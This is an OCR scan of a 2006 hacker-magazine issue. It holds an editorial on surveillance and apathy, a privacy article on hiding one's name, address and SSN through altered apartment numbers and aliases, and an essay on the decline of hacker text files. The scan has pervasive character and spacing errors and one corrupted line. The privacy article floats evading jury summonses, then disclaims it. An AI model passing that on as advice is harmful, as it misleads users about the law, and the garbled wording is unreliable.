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and Fear 

We live i n  very peri lous  ti mes .  Mo re often 
than  n ot, peri lous  ti mes a lso tend  to be i nterest­
i n g  ti mes .  And  beca use of who we a re a n d  what 
we do ,  i nteresti n g  ti mes ca n turn out to be very 
i n spi rati ona l  a n d  constructive. 

So how s hou ld we be fee li n g? Scared? H ope­
fu l? Ne rvous? Anyone  payi n g  a ny attention  wi ll 
fee l  a ll of this a n d  more in the cou rse of a few 
min utes j ust by goi n g  th rough  the  head li n es .  Will 
we have any p rivacy at a ll when the  dust settles? 
Are we goi n g  to be next on the li st of enemies of 
the state? Is there a chance, h owever sma ll, that 
we ca n h elp to i nfluence the  di rection  our soci ety 
is goi n g  i n  a n d  get it to a r rive at a better  p lace? 

We have n o  crysta l bal l  so any outcome  is  re­
a lly possib le .  But there a re certa in  givens  a n d  
these seem t o  be ma nifested i n  a few disti n ct 
outlooks .  N ot payi n g  attention  to the  bad stuff 
a n d  livi n g  life in a detached state ( n ot readi n g  
n ewspapers o r  keepi n g  up  t o  date on  the  major  
developments) i s  pe rhaps  the  si ng le most ha rm­
fu l thi n g  you can do .  Apathy i s  a g reat th ing  fo r 
those who want to push  soci ety i n  a pa rticu la r  di­
rection  without oppositi o n .  Conversely, becom­
i n g  fixated by the  negative developments wi ll 
o n ly foste r a permanent disi l lusi o nment that wi ll 
p revent you from seei n g  a nythi n g  positive, not to 
mentio n  keep othe r  people from wanti n g  to be 
a nywh ere near you .  And  of cou rse,  there a re the 
hope lessly naive who - wh i le they may be payi ng  
attention  a n d  not letti n g  thei r  spi rits be crushed 
- be li eve that there 's not m uch they can do  a n d  
that everythi n g  wi ll somehow work itself out i n  
the  end .  

We  need  to fi nd  space somewhere i n  the  mid­
d le of these th ree groups .  That means payi n g  at­
tenti o n ,  n ot letti n g  it a ll d rive you crazy, a n d  
believi n g  that you  have the  power t o  effect 
change .  It's rea lly q uite i n credi b le how few peo­
p le there a re who a re ab le to fit i nto this cate­
go ry a n d  n ot get vacuumed i nto o ne  of the  
doomed outlooks .  But this too ca n have a posi­
tive spi n:  If you ma nage to become one of these 
few, you r  a cti on s  wi ll mean a ll the mo re .  You may 
have a lready n oticed this o n  a sma ller sca le. If 

you ' re cu rrently in schoo l, loo k  a round  you .  Do 
most people seem to not rea lly care? Is it a ll 
about just getti n g  it over with for them? In such 
a setti n g ,  someone who actua lly ca res ca n rea lly 
get a lot done  j ust by getti n g  i nvo lved .  Whether  
o r  n ot you thi n k  this is even a ha lfway worth­
wh i le envi ron ment to attempt to i nfluence ,  it 
seems obvious  that it's an idea l  setti ng  to lea rn  
how to i nteract, sta n d  up  fo r what you beli eve i n ,  
a n d  see h o w  oppositi on  expresses itse lf. 

So let's get back to the  rea l world where 
there 's a n  awfu l lot to be concerned with .  The  so­
ca lled "war on  terror" i s  the best th ing  that cou ld 
have ha ppened to those i nterested i n  bui ldi n g  a 
su rvei lla nce state . Fea r is thei r  a lly. Without it, 
the pavi n g  over of p rivacy would be so m uch 
h a rder  to j ustify. Peop le wou ld recog nize the  
trends  as  someth i ng  they saw i n  some sci ence 
fiction  story somewhere .  The  e rodi n g  of i n divid­
ua l li berties a nd  the  expa nsion  of governm enta l 
control has  been prophesi ed so many ti mes that 
it wou ld a lmost seem to be i n evitab le .  There 
doesn 't seem to be much  doubt that the desi re to 
contro l a ll that is a round  us is a somewhat nega­
tive aspect of ou r  h uman  nature .  But i n divi dua lity 
is a n other  part of h uman  natu re a n d  we ca n 't 
he lp but notice that over the  enti re cou rse of his­
to ry, this i n divi dua lity never seems to be 
crus hed .  We see n o  reason why thi ngs  have to be 
different now. Whi le fea r  may be steeri ng  most of 
us at the moment, that si mp ly ca n 't last fo rever. 

He re a re some of the cu rrent items of i nter­
est. Over recent months ,  we've seen techno logy 
i ntrod uced that ca n sca n thousa nds  of li cense 
p lates with in  a m inute. In  this age  of abducti on s  
a nd  sto len cars, we  never have to  worry agai n .  O f  
course ,  we  can  a lso n ever expect to  get away with 
an overd ue li bra ry book once the computers sta rt 
ta lki n g  to each other. And h ow lo n g  before the  
very idea of not knowi n g  where someone i s  be­
comes a thi n g  of the past? 

In a h ig h ly pub li cized i n ci dent. th ree Texas 
men  who  had  pu rchased severa l h u n d red cell 
p hones were a r rested on  suspici on  of bei n g  pos­
si b le terrori sts . Why? Beca use cell p hones cou ld 
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be used as detonators. And  if one  cell p hone  
cou ld b low up  a p lane ,  imag i ne  how many thou­
sands  of lives might  have been at ri sk  h ere. O r, 
fai li n g  that. prepaid cell p hones (as these were) 
cou ld be used to hide i dentities .  Peop le i nvo lved 
in terrori sm p refer to h ide  thei r  i dentities, don 't 
th ey? Add to this the  fact that these men  had  
M idd le Eastern he ritage a n d  most people bought  
i nto the  who le thi n g .  N ot as  many heard when 
the  cha rges were d ropped due  to  there bei n g  n o  
evidence o f  a ny  wrongdoi n g .  

And  mo re recently i n  N e w  York,  a satellite 
televisi on  i n staller made  a ll the head li n es when  
h e  was  a r rested fo r bei n g  a ter ro rist conspi rator 
afte r hooki n g  up  the al Man a r  n etwo rk in peo­
p le 's homes .  The U . S .  gove rnment has defi n ed a l  
M a n a r  as  a terrori st televisi on  netwo rk.  T h e  pub­
li c reacti on  to these accusati on s  has  been one  of 
h orror. But. fai li n g  a ny a ctua l  fi n anci a l  con nec­
tio n  to this n etwork ,  this i s  somethi n g  that has  
n ever before been seen  as  a cri m e  i n  o u r  country. 
We may n ot li ke hate speech but it i s  with in  ou r  
ri g hts to  read i t .  li sten to  it. o r  watch it if  we  so  
desi re. Peop le bei n g  a r rested fo r watchi n g  fo r­
eig n  te levis ion b roadcasts used to be somethi n g  
t h a t  o n ly happened i n  dictato ri a l  regi mes .  N ow  
it's one  sma ll step away from happen ing  right  
here .  

There a re many mo re si m i la r  sto ri es goi n g  on  
a n d  it's a ll s et  on  the  backd rop  of  wastefu l m i li­
ta ry adventu res overseas and our own crumb li n g  
i n frastructu re. I t  may seem as  if it's  hope less a n d  
that the  vast maj ority o f  people a re bei n g  s hame­
fu lly man ipu lated .  And  there 's a degree of truth 
in that. B ut with every one  of these sto ries that 
gets reported , we fi nd  mo re people question i ng  
the  conclusions  a nd  spea ki n g  out aga inst the  ab ­
su rdities .  I f  it were tru ly a lost cause, we never 
would have even gotten to that stage .  

Of course, we h ave a lot  of reason to ho ld 
onto ou r  optim i sm .  We've j ust come out of a HOP E  
s ummer. Every two years we  have a Hackers On  
Pla n et Ea rth conference i n  New Yo rk City a n d  they 
a lways seem to i n spi re a lot of people to get i n ­
volved ,  be creative, a n d ,  yes, be hopefu l. There 
a re a lot of thi ngs  to be opti mi sti c about a n d  a lot 
of rea lly ta lented people who  have managed to 
ho ld onto thei r  positive outlooks .  

The  mere fact that we ' re  ab le to do  this i s  
cause fo r celebrati o n .  It' s i mpossi b le to be disi l­
lusioned  about the  cu rrent state of affai rs when 
you get to  see thousands  of people lea rni ng ,  
s h a ri n g ,  a n d  bui ldi n g  new tech no logica l  toys . 
S u re ,  n ew developments i n  tech no logy can be 
used fo r bad pu rposes.  Alm ost anythi n g  can be.  
Tec h no logy can a lso be used i n  very positive ways 
if we' re not afraid to dive in a n d  lea rn how to 
contro l it. 
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Developments i n  R FID  a n d  G PS tec h no logies 
can be used fo r a ll so rts of tracki n g  app li cations .  
But  there a re a lways ways of defeati n g  o r  confus­
ing the devices. And who says we a re the o n ly 
ones to be monito red? At the  conference ,  atten­
dees not o n ly lea rned ways to p rotect themselves 
but a lso discovered h ow to track the tra ckers a n d  
fi n d  a ll so rts o f  i nteresti n g  i nfo . VoIP techno logy 
a lso has s hown itse lf to be a majo r  cata lyst of 
change .  Used p roper ly, i n divi d ua ls ca n h ave the  
power  to estab li s h  voice li n ks a ll over the  world 
usi n g  extremely cheap  or com plete ly free meth­
ods - power that would have been u n h ea rd of a 
mere h a ndfu l of years ago .  It did n 't have to move 
in this di recti o n .  VoIP cou ld h ave become  a com­
merci a lly controlled p roduct. as  the  enti re Inter­
net cou ld have. I ndivi dua l  vi si on s  h ave n ot died 
in ou r  a rena  because people h ave grabbed the 
too ls and sta rted bui ldi n g  without waiti n g  fo r 
permissi o n .  

We  cou ld go  o n  fo r a very long  ti me  with t h e  
subject matter  that i n spi red so many a t  HOPE .  
Everythi n g  from becomi n g  the  media to  u rban  
explori n g  to  en crypti on  developments to wi reless 
tech no logy. B ut what rea lly matters in the end  
a n d  what  wi ll determi ne  whether  o r  not we con­
quer  the  fea r  and apathy sur roundi n g  us i s  
whether  enough  people have been  i n spi red to 
question  a n d  to defy that which goes aga inst ou r  
s en se  o f  freedo m .  
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'An internet was sent by my staff at 10 a 'clock in the 
morning on Friday. I got it yesterday. Why?" - Senator 
Ted Stevens displaying his knowledge of the Internet 
earlier this summer in a speech designed to help defeat 
the network neutrality initiative. 
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'nforrootion Can Be Your Friend 
\ // 

by Arcade One 
ALL the advice I've seen about p rotecti n g  you r­

seLf agai n st i d entity theft is about as effective as  
H o meLand  Secu rity's a dvice to buy duct tape and 
tarps  to p rotect yourseLf agai n st terro ri sts . Even 
if you fo LLow thei r  a dvice (most of which is com­
mon  sense a nyway) , c hances a re you ' re a Lready 
screwed . 

This a rti cle Looks  at common  ways i n  which 
you r  name,  add ress, SSN ,  and other persona L  i n fo 
can be LegitimateLy comp romised without you r  
knowLedge  a n d  t h e n  expLores s o m e  si mp Le (a Lbeit 
u no rthodox) ways to mi ni mize the ri sks .  

S hortLy after readi n g  a n  a rti cle i n  2600 (20 :4)  
that mentioned rem ovi n g  you r  SSN from you r  
credit rati n g  I began t h e  p rocess o f  pu rchasi n g  a 
h ouse .  Because this  was to be my second  ti me  
pu rchasi ng  a h ouse I wa s  a Lready fami li a r  with aLL 
the  steps i nvo Lved - from getti n g  a mo rtgage  to 
setti n g  up  accounts with my Loca L utiLity compa­
nies .  In pa rticu La r, I was a LL too fami li a r  with the  
strea m of  junk  mai L a n d  phone  ca LLs that  sta rt 
when busi n esses get thei r  g rubby paws on you r  
add ress a nd  p hone  n u mber  fo llowi n g  you r  
pu rchase .  Worse t h a n  that though  i s  t h e  poten­
tia L  i nvasion  of p rivacy, abuse, and fra ud  that 
can be perpetrated by som ebody with the  rig ht 
i nfo rmati o n .  

N ote that the i nfo rmation  contai ned herei n i s  
n ot LegaL advi ce (despite my  usi ng  fa n cy words 
Li ke " h erei n " )  and you a re strong Ly u rged to con­
su Lt a n  atto rney if you have a ny questions  about 
the  pu rchase,  saLe, or tra n sfer of owne rsh ip  of a 
h ouse or a ny oth er  Lega L  p roceedi ngs  fo r that 
matter. ALso note that this a rti cle i s  i ntended to 
be a reco llecti o n  of my experiences and as  such  I 
have spent re LativeLy LittLe ti me  verifyi n g  my 
clai ms  fo r accuracy. Last but not Least, the  Laws 
may be different in you r  state (or country) . 

When  you buy a h ouse,  the  pu rchaser' s  n ame  
gets added to  the  ( pub Lic ly accessi b Le) t ax  ro LLs . 
That means  a nybody ca n go o n Li n e  a n d  fi n d  out 
when  a given p roperty was soLd , who pu rchased 
it, what it was so Ld fo r, and what the property 
taxes a re - fo r a ny sa Le made  to a ny house  at a ny 
ti me .  ( Fo r  i n sta nce,  fo r PaLm Beach County see 
http://www. co. paLm-beach .  flo us/tc_pubaccess/. ) 
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Your Home's Title 
A "title" is a Lega L  document that describes 

who owns a pa rti cu La r  house.  Usua lly the  i n fo r­
mation  contai n ed i n  the  title o n Ly changes d u ri n g  
a sa Le b u t  it ca n a lso change  w h e n ,  say, two peo­
p Le own a house a n d  o ne  reLi n q ui s hes thei r  i nter­
est in it by sig n i n g  a "quit clai m "  deed . In a ny 
case, whenever a title change  goes i nto effect the  
n ew i n formati o n  becomes pub Li c  reco rd . Many 
compan ies regu La rLy pu rchase tax  rolls from the  
cou nty (which i s  o n Ly too happy to seL L  it to  
them)  a n d  send out junk  ma i L  to the  peopLe 
n amed i n  the  tax roLLs. 

Si n ce the title m ust i n clude the homeowner's 
LegaL name, you don 't have much choice i n  obfus­
cati n g  it. The o n Ly way I ca n thi n k  of wou Ld be to 
pu rchase the h ouse in the name  of a compa ny, 
pa rtnersh ip ,  or trust but that gets i nto Lega L  stuff 
that i s  beyond  the  scope of this a rti cle. 

MuLtipLe Listing Service (M LS) 
When you seLL  your  home  th rough  a rea L  es­

tate agent they wi ll Li st it in the M LS ( M u Lti p Le 
Listi n g  Service) . Companies of aLL manne r  of 
mo raL sta nd ing  access this database reg u La rLy fo r 
newLy Listed homes .  Wh i le a n  M LS Listi n g  usua lly 
doesn 't i n clude you r  name ,  it is sti LL a tri gge r  that 
you a re consideri n g  seLLi n g  you r  home and as 
such subjects you to the  whims of ma rketers who 
wi LL t ry to seL L  you reLated p roducts a n d  services 
fo r movi n g ,  clea n i ng ,  storage,  a nd  a nythi n g  e Lse 
that they might want to market to somebody who 
i s  selli n g  thei r  home .  

UtiLity Companies 
When you buy a h ouse, chances a re you ' L L  

want uti liti es such as gas ,  eLectri city, water, 
sewage,  p hone ,  a n d  cabLe. Most of the  compa nies 
that p rovide  these services ask  fo r you r  SSN, at 
the very Least si m pLy to identify you un i que Ly but 
often to run  a credit check. (After aLL, they're 
fronti n g  you thei r  servi ces - and in the case of ca­
b Le TV, p hysicaL ha rdware - and they don 't want 
to be ri pped off by a deadbeat. ) Some aLso ask  fo r 
you r  d river 's Li cense n umber  or othe r  state issued 
ID.  

Thereafter, whenever you caLL them to get i nfo 
on you r  account or make changes to you r  services 
they wi ll ask you to identify yourseLf by reca LLi ng  
the  Last fou r  di gits of you r  SSN .  ProbLem is ,  you r  
SSN is notorious Ly easy for a nybody to  obta in  a n d  
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a rmed with that i nfo (o r  at the  very least the  last 
four  digits) they ca n mon key with you r  account 
to thei r  hea rt's content. And  you r  d river 's li cense 
n u m ber  i sn 't pa rti cu la rly h a rd fo r somebody to 
get a h o ld of either. 

Awa re of th is ,  I pu rposely avoi ded divu lgi n g  
my  SSN o r  d river 's li cense n u m ber  when  setti n g  
up  accounts with my uti lity compa nies. The  re­
su lts were i nteresti n g  to say the  least. Some 
companies i n iti a lly weren 't su re what to do  but 
u lti mately they a ll had  a conti ngency p lan .  

Although  I a lready had  a Be llSouth account, 
to set up  service at a new add ress I had to p ro­
vi de my SSN a n d  si n ce I di d n 't want to do  so Be ll­
South requi red me to go in person to a th i rd 
party payment center where the  g uy behi n d  the  
counter g la n ced at my passport fo r less than  a 
second  a n d  made  a note i nto h is  computer that I 
had  paid them a $100 deposit ( refundab le after 
one  yea r of conti n uous servi ce). Ironica lly the  
payment center accepted cas h  o r  checks but  n ot 
credit ca rds. 

The power company requ i red a $240 deposit 
( refundab le after 24 months of un i nterrupted 
service p rovided I made no late payments) in li eu 
of me  givi n g  them my SSN. 

The  water com pany let me  get away with 
faxi n g  them a copy of my passport. 

Interesti n g ly, I was ab le to get away with not 
p rovi di n g  my SSN or d river 's li cense n u m ber  to 
the cab le company and  they did n 't ma ke me pay 
an extra deposit eithe r. I thi n k  they had my SSN 
from the  last ti me  I (stupid ly) gave it to them 
when setti n g  up  a n  accou nt. 

Name and Address 
So m uch fo r my SSN a n d  d river's li cense num­

ber. What  about my name  a n d  add ress? Many o f  
these compan ies s ha re i nfo rmati o n  with affi li­
ated th i rd pa rti es (usua lly mean ing  a nybody who 
i s  wi lli n g  to cough up  the  money to pay  for it) 
a n d  vi rtua lly a ll of them use this i nfo to soli cit 
futu re busi n ess (such as calli n g  you to upgrade to 
the n ext level of cab le servi ce). 

Most com pa ni es let you p rovide  a n  a lternate 
bi lli n g  add ress (different from the add ress where 
you actua lly receive servi ce).  Opti on s  fo r p rotect­
i n g  you r  p hysica l add ress (open i n g  a post offi ce 
box) a re beyond  the scope of this a rti cle. H ow­
ever, h e re 's a ti p that wi ll h elp you at least iden­
tify who i s  s h a ri n g  you r  add ress. When  p rovid i ng  
you r  bi l li n g  add ress, add  a b i t  of i nfo that wi ll 
un ique ly i dentify that pa rti cu la r  compa ny. For ex­
amp le ,  if you live in a si n g le fa m i ly home  you can 
add an apa rtment n umber  ( e.g., #lA for ABC Ca­
b le ,  #2A fo r Ameri ca n  Express, #1 B fo r Bel l  
South , #lD fo r DMV, etc.). Then  when you sta rt 
receivi n g  ma i l  from J oe 's Wi ndow Ti nti n g  ad­
d ressed to you at apartment #lA, you ' ll know 

they got you r  add ress from ABC Cab le. � 
I keep a li st of which compa nies I h

n
ay
;
:

.
g:�:n I 

which apa rtment n u m bers to. So fa r the  list con­
tai n s  6 5  i n divi dua l  apa rtment n u m bers. 

Now you may wonder  how it is possi b le to 
p lace a credit card order if you a re consta ntly 
p rovid i ng  a different a pa rtment n u m ber  si nce 
pa rt of the  verifi cation  p rocess i s  to ensu re the  
add ress you p rovi de  matches the  bi l li n g  add ress 
on  fi le. The good n ews i s  the apa rtment n u m ber  
i s  usua lly d ropped when attempti n g  to verify an 
add ress. So even though you r  credit card  bi l l  g ets 
sent to 123  Ma in  St., #3A, you can specify 1 23  
Ma i n  St., #5 D without a ny p rob lems. 

If you a lready live i n  a n  apa rtment a n d/or  
si mp ly want to  furthe r  obfuscate you r  rea l ad­
d ress, you have severa l choi ces :  

• Add a suite n u m ber. For i n stan ce ,  if you live 
in a pa rtment #5 D ,  add a un i que  suite n u m ber  
that i dentifies a pa rti cu la r  company: "Suite C1"  
fo r the  cab le compa ny, "Suite P3" fo r the  p ho ne  
compa ny, etc. 

• Append a un ique  i dentifi e r  to you r  exi sti n g  
apa rtment n u m ber. I f  y ou  live i n  apa rtment #5 D ,  
add a dash  a n d  then a un ique  code  that  i dentifies 
the company you want to track :  #5 D-1 , #5 D-2 , 
#5 D-3 ,  etc. 

• Add a un ique  i dentifi e r  to the  house n u m­
ber. If you live at 1 2 3  Ma in  St., #5 D ,  change  it to 
123-A Mai n St., #5 D ,  or 1 23 -B  Ma in  St., #5 D. 

• Last but not least, use a un ique  fi rst a n d/or 
last n ame. Fo r examp le ,  you could have your 
p hone  bi l l  sent to Be lle Doe and your cab le bi l l  
sent to Telly Doe. 

I 'm lucky because I have two other  opti on s  fo r 
obfuscati n g  my rea l add ress. If you ' re li ke m e  a n d  
y o u  live i n  a h ouse with a n  a lley behi n d  it, con­
si der  usi n g  the name of the a lley rathe r  than  the  
street you r  house faces. 

Best of a ll , the ma i l  in my ne ighborhood g ets 
de livered to a com mon  mai lroom where the  
posta l worker  i n serts it i nto i n divi dua l  mai lboxes 
that a re given n u mbers u n related to our actua l  
house n u m bers ( p resumab ly so a thief won 't  
know which mai lbox contai n s  mai l  fo r wh ich  
house). This affo rds m e  the  oppo rtunity to use 
the  add ress of the mai lroom (yes.it i s  housed i n  
a bui ldi n g  with its own add ress) combi n ed with 
the  mai lbox n u m ber  as my ma i li n g  add ress. Voi la ! 
Free P.O. box! 

Keep in mind that the  mo re you obfuscate 
your  n ame  and  add ress, the  g reater the c hances 
the post offi ce wi ll retu rn you r  mai l  to the  
sender. But a ll thi ngs  consi dered, you have to 
munge  it p retty bad ly fo r them to do that. 

The advantage  of usi n g  a un ique  person ' s  
n ame  i n  you r  ma i li n g  add ress i s  that you ca n the­
oretical ly notify the  post offi ce that one  of those 
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n ames has  moved a n d  they s hou ld stop de liver­
i n g  ma i l  to that person .  For examp le ,  if you had  
you r  n ew computer sh ipped to  " Ken Puter" (get 
it? ) a n d  you sta rt getti n g  a ll so rts of oth er  so li c­
itati on s  add ressed to that name ,  si mp ly n otify 
the  post offi ce that Ken Puter has  m oved a n d  
they wi ll stop de liveri n g  ma i l  add ressed t o  that 
person .  

Remember that  the  post  offi ce i sn 't run  by  ge­
niuses and the danger  of aski n g  them to stop 
ma i l  add ressed to one person i s  that they wi ll oc­
casi ona lly (o r  worse, frequently) retu rn ma i l  ad­
d ressed to other  people at the  sa me  add ress. So 
if you ' re goi n g  to try this ,  ma ke su re the  n ames 
you se lect a re un ique  a n d  clea rly disti n ct from 
each other, a n d  even then  don 't be su rprised if 
you r  mail occasiona lly gets " lost. " 

A lso keep i n  m ind  that the  USPS has  guide­
li n es fo r what does a n d  does not constitute a 
va lid  add ress. Don 't get too tri cky or you might  
fi n d  you r  ma i l  bei n g  retu rned to  sender. For de­
tai ls see this secti o n  of the  Domestic  Mai l Manua l  
( DMM ) :  http://pe.usps. com/textjDMM300/602. htm . 

Wh i le bu lk ma i l  (which ca n be identified by 
the  prepri nted " PRSRT STD US POSTAG E PAID" 
whe re the  stamp  usua lly goes) is usua lly the  most 
i n sid ious of a ll j u n k  ma i l, t he  i rony i s  that you 
can 't si mp ly cross out you r  name ,  write " retu rn to 
sender, "  a nd  d rop  it back in the  ma i lbox. The 
USPS discards a ll n on-de liverab le bu lk ma i l, so if 
you truly want to retu rn  it to its o rig in  you m ust 
repackage it, add ress it (if you ca n fi nd  the com­
pa ny's add ress ) ,  and p rovide  postage .  

N ote that when you ask  the USPS to  fo rwa rd 
you r  mai l, companies that subscribe  to the  USPS'  
" Change  Service Requested"  wi ll be n otifi ed of 
you r  n ew add ress. So don 't thi n k  that you can 
hide you r  n ew add ress from the rest of the world 

by fo rwa rdi n g  you r  ma i l  there .  In fact, fi li n g  a 
change  of add ress fo rm with the  USPS is p retty 
m uch a gua ra ntee that you r  j u n k  ma i l  wi ll fo llow 
you .  My advice: if you m ove, notify a ll the compa­
nies and i n divi dua ls who  need to know of you r  
n ew  add ress ( remember  to  p rovide  them a l l  with 
a un ique  apa rtment n u m ber, suite n u m ber, or 
other  identifi e r ! )  and fo rget the post offi ce. Or 
si mp ly req uest tempora ry  fo rwa rdi n g  to you r  new 
add ress unti l  you 've had the oppo rtu nity to n o­
tify everybody of you r  new add ress. 

The Government 
Once the  gove rnment has  you r  add ress ( and  

the  moment  you  app ly fo r a d river's li cense o r  fi le 
you r  taxes they wi ll h ave it) , it's a good bet 
they' l l  send you a s ummons  fo r j u ry duty -
whether  or not you ' re a lready a regi stered voter. 
It wou ld be an i nteresti n g  exercise to attem pt to 
get out of j u ry duty by retu rni ng  every s ummons  
with a note: "Moved from apa rtment lA  to  lB. 
Please fo rwa rd to n ew add ress . "  The cycle cou ld 
conti n ue i n defi nitely. Of course,  I 'm n ot advocat­
i n g  this ;  it's i llega l  to fra udu lently evade  j u ry 
duty. 

Interesti n g ly, I have received ma i l  from a lo­
ca l ca r dea ler  that was add ressed to the a pa rt­
ment n u m ber used o n ly on my d river's li cense,  
which tells me  ( n ot surpri si n g ly) the  gove rnment 
i s  selli n g  my name and add ress to loca l busi -
nesses. 

Conclusion 
In additi on  to a ll the  other  obvious  advice 

about checki n g  you r  credit report on  a regu la r  
basis, y o u  s hou ld be  obfuscati n g  you r  n ame  and  
add ress wherever you  ca n get away with i t .  In t he  
wa r aga inst identity theft, misi nformation  i s  you r  
best defense !  

Where Have 
Philes G 

by Glutton 
In the  good o le days of hacki n g  a nd  p h reak­

i n g ,  a n eophyte lea rned his techn iq ues from a va­
riety of sources : experi mentati o n ,  friends '  advi ce, 
a n d  last but n ot least, text fi les . These ph i les 
were accumu lated li ke treasu re on bu lleti n boards 
and by mo re experi enced hackers, often without 
rega rd to thei r  worth o r  accuracy. They contai ned 
theories ,  i n structions ,  exp loits , even sn ippets of 

hacki n g  hi sto ry. 
Where a re the  ph i les n ow? Well, those old 

documents a re sti ll a round .  Use fi les h a ri n g  sites 
a nd  search eng ines  a nd  you can fi n d  a p letho ra 
of guides o n  how to hack  a n d  p h reak, fi lled with 
obso lete lore li ke ASCII-i llustrated box d iagrams 
and the d ia l- up  phone n u mbers of m i lita ry bases 
and colleges. The enti re run of Phrack can be 
found  on  P h rack .o rg .  
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But what about new ones? Where a re the  
p h i les of today? Fo r sta rters,  you won 't fi n d  them 
i n  the  fo rm of text fi les, recent i ssues  of Phrack 
notwith sta ndi n g .  Now you use a sea rch engi n e  to 
search web pages a nd  ( less a n d  less com mon )  
usenet posts fo r sn ippets . Tech nica l  detai ls a re 
g lea ned from company sites a n d  support fo rums ,  
loopho les a re described i n  white papers and  
weblogs.  

So ,  why have things chan ged? The sha ring of 
informa tion is a dangerous game. 

There is somethi ng  different today. Maybe 
there 's somethi n g  missi n g  n ow, li ke the i n no­
cence of teenagers explori n g  a system unbe­
knownst to the stodgy g rownups  who created it. 
Perhaps  20 years of busts have convi n ced us to be 
mo re ci rcu mspect. 

Gone  is the  idea that a ll lea rn ing  effo rts a re 
pu re a n d  worthwhile .  Now theoretica l  questions  
a re g reeted with suspici o n .  I was  part of  a discus­
sion  the  other  day about ma i lbom bi ng .  One guy 
was aski n g  about it, a n d  the oth ers were flam ing  
h im  a n d  th reaten ing  him with ma i lbombi n g .  
There wa s  a ti me  when  hackers loved s ha ri n g .  If 
someone  wanted to know about X, let h im as  
( p resumab ly) a com petent bei n g  decide  whether  
it ' s  mora l  o r  n ot. 

Part of the p rob lem is  that the authoriti es 
have ca ught  on to computer crime .  Investigato rs 
a n d  civi li a n  techs  pore over ha cker sites li ke 
every day was an Operation  Sundevi l, sniffi ng  fo r 
exp loits . 

As a resu lt, most hackers practi ce some level 
of censorsh ip ,  whether  censori n g  their  own dis­
cussi on s  o r  s lappi ng  down la mers desperate to 
crack that H otmai l account. Self-censorsh ip i sn 't 
n ew. For i n stance, Phrack refused to pub li s h  
credit ca rd n u m bers o r  p hone  codes. I t  a ppea rs 
that caution  was warra nted - remem ber the E911 
fi le that nea rly put Kn ight  Lig htni n g  i n  jai l fo r 31  
yea rs? Even quasi- lega l  o r  p lausi b ly lega l  materi­
a ls ca n get you i nto troub le these days . When 
Bernie S .  was busted , the  a uthorities a lleged ly 
used the  contents of his li brary as " p roof' of si n­
i ster m otives. Cops a re m indfu l  that Ti mothy 
McVei g h  lea rned h ow to create h is  truck bomb 
from p la n s  found  on the Intern et. Even i n  the  
h a llowed rea lm of jou rna li sm ,  2600 writers add 
disclai me rs i n  the  hope that they won 't get in  
troub le if the  a rti cle offends  someone i n  law en­
forcement. Whether  written unde r  a h and le o r  
one's rea l  name ,  it never h u rts to  be cautious .  
a n d  even if what someth i ng  does i s  n ot i llegal, 
you can sti ll get i n  lega l  troub le .  Remember  how 
2600 got sued fo r li n ki n g  to sites offeri ng  DeCSS? 

My fi n a l  point is that legiti mate p ress that 
covers hackers a re li g ht on detai l to the  poi nt of 
nonexistence .  Most books a n d  a rti cles on hack-

i n g  a re written by non-tech nica l people,  a nd  it's 
u n dersta ndab le that they wou ld wa nt to cover 
the " h u m a n  element" rather  than  a tech nica l o ne  
they do  n ot understa n d .  But even authoritative 
sources li ke The A rt of Intrusion by Kevi n Mitn ick  
do  not d ivu lge specifi cs of exp loits . Whether  it i s  
beca use they do  not want to p ropagate exp loits 
or fo r fea r  of bei n g  sued,  who can say? 

Lawyers, cops & crim i n a ls have collectively 
ended the  free a nd  open exchange  of i nformation  
that  flou ri shed  back  i n  the  day. You ' ll h ave to  de­
ci de fo r yourself if this is good or bad . 

There is a n ew lack of respect fo r " noobs . "  
Some b la m e  hackers ' troub les on  the depreda­
ti ons  of "crackers , "  " b lack  hats , "  and other  
boogeym en .  Others  b la m e  a n ew generati o n  of  
laymen with  j ust enough tech nica l knowledge to 
fo llow di rections  they read on  the Internet. 
Scri pt ki ddies a ren 't hackers. Spa m m ers a ren 't 
h ackers. But thei r  actions  a re b lamed on hackers .  

The fact of the  matter is that it 's easier  than  
ever to " h ack" (usi n g  the  media 's  defi niti o n ) .  
With n u merous offsho re sites fu ll o f  scri pts a n d  
basic kn owledge o f  t h e  Internet's a rchitectu re 
fai rly wi despread ,  a ll it rea lly ta kes i s  tim e  a n d  
i nterest. 

With the resu lta nt devalui n g  a n d  misrepre­
sentati on  of the ha cker set comes a backlash 
wh ere those i n  the  know ti re of s ha ri n g  thei r  
kn owledge with those w h o  don 't want t o  work 
h a rd to lea rn it themselves. In some respects this 
i s n 't a n ew phenomen o n .  When p h rea kers bega n 
explori n g  the  phone  system ,  street hustlers 
ca ught  on  to thei r  tech niq ues a n d  began selli n g  
lo ng  di sta nce out o f  p hone  booths .  Wh i le we 
might  app reciate thei r  wi lli n g n ess to sock it to 
the  p rofiteeri ng  gluttons  r unn i ng  the p hone  
company, si m u lta neous ly some disa pprove of 
thei r  b lata nt misuse of hacker-gai ned kn owledge 
fo r pu rposes of p rofit. Today's eq uiva lent of those 
hu stlers a re spa m m ers and script ki ddies .  

It' s easy to sym pathize with them because we 
a ll were once noobs and we ca n respect their 
thi rst fo r knowledge .  Furthermore, it i s  a fa ct of 
m odern life that there i s  mo re to lea rn than  a ny 
o ne  person ca n absorb .  In many respects , we a re 
a ll noobs when it comes to somethi n g  related to 
ou r  a rea of knowledge .  There a re a lways mo re 
p rog ra m mi ng  la ng uages to lea rn ,  mo re tech no lo­
gies to master. 

N everthe less, it i s  h uman  nature to be dis­
gusted with  those who want to " lea rn "  by bei n g  
to ld exactly h ow  t o  do  whatever, rather t h a n  fi g­
u ri n g  it out on  thei r  own . And with mo re a n d  
m o re amateurs feedi n g  off the  p roofs-of-concept 
of rea l progra m m ers, it's easie r  than  ever to n ot 
want to contri bute. 
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Final Thoughts 
The web has  si m u Lta n eous Ly e n riched the  ex­

change  of data wh i le ma ki n g  it tremendous Ly 
m o re compLi cated. In a Lot of ways , the  ph i Les of 
'06 a re mo re ephemeraL ,  i ntri g ui n g ,  a n d  subtLe 
than  ever. Now you n eed to read 20 documents to 
fi n d  you r  a nswer, but a sea rch resu Lts in 1000 a r­
ti cle hits. 

In the o Ld days, a LL you had  to worry about 
was someone posti n g  a p h i Le of fa Lse i nfo. Now 
there a re fa ke a rti cles written by mean-spi rited 
a uthors with Li n ks to spyware sites,  o r  which 
contai n maLi g nant executab Les. There a re 
deLi berately mis Leadi ng  a rti cles a nd  d u m my fi Les 

to down Load. 
And  with so m uch data on  the  web,  th ere i s  

no  p restige  i n  sites offe ri n g  hoa rds  of knowL­
edge. You don 't need to keep a copy of the  Anar­
